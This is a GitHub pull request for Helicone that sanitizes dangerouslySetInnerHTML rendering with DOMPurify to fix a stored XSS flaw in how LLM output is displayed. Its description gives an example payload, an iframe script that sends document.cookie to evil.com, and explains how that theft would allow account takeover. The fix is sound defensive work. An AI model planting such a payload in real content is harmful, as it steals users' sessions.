security: sanitize LLM output rendering to prevent stored XSS#5588
Merged
chitalian merged 1 commit intoHelicone:mainfrom Feb 19, 2026
Merged
Conversation
Apply DOMPurify.sanitize() to all remaining dangerouslySetInnerHTML instances that were not already sanitized: - ChangelogModal: RSS feed content rendering - textbookCourse: marked.parse() markdown-to-HTML output - adminSettings: search highlight markup - EmptyStateCard: Shiki code highlighting output Prevents stored XSS via injected HTML/JS in rendered content. DOMPurify was already a dependency and used in CodeHighlighter and ErrorMessage components.
|
@ink-the-squid is attempting to deploy a commit to the Helicone Team on Vercel. A member of the Team first needs to authorize it. |
![greptile-apps[bot]](https://avatars.githubusercontent.com/in/867647?s=60&v=4){kind=small}
Contributor
There was a problem hiding this comment.
Your free trial has ended. If you'd like to continue receiving code reviews, you can add a payment method here.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Sanitize all
dangerouslySetInnerHTMLusage with DOMPurify to prevent stored XSS attacks.Vulnerability
LLM outputs and other dynamic content rendered via
dangerouslySetInnerHTMLwere not sanitized. An attacker could inject HTML/JS payloads (e.g.,<iframe srcdoc="<script>document.location='https://evil.com/?c='+document.cookie</script>">) into LLM responses that would execute in the browser of anyone viewing the logs.Impact
Since Supabase session tokens do not have the
httpOnlyflag set, this enables full account takeover via cookie theft — any user viewing a poisoned log entry would have their session token exfiltrated.Fix
Applied
DOMPurify.sanitize()to all remaining unsanitizeddangerouslySetInnerHTMLinstances:ChangelogModal.tsx— RSS feed content renderingtextbookCourse.tsx—marked.parse()markdown-to-HTML outputadminSettings.tsx— search highlight markup injectionEmptyStateCard.tsx— Shiki code highlighting outputDOMPurify was already a dependency (used in
CodeHighlighterandErrorMessage). No new dependencies added.Note
The primary chat message rendering path uses Streamdown (react-markdown) with
rehype-harden, which provides separate sanitization. This PR covers all the non-Streamdown rendering paths that were missing sanitization.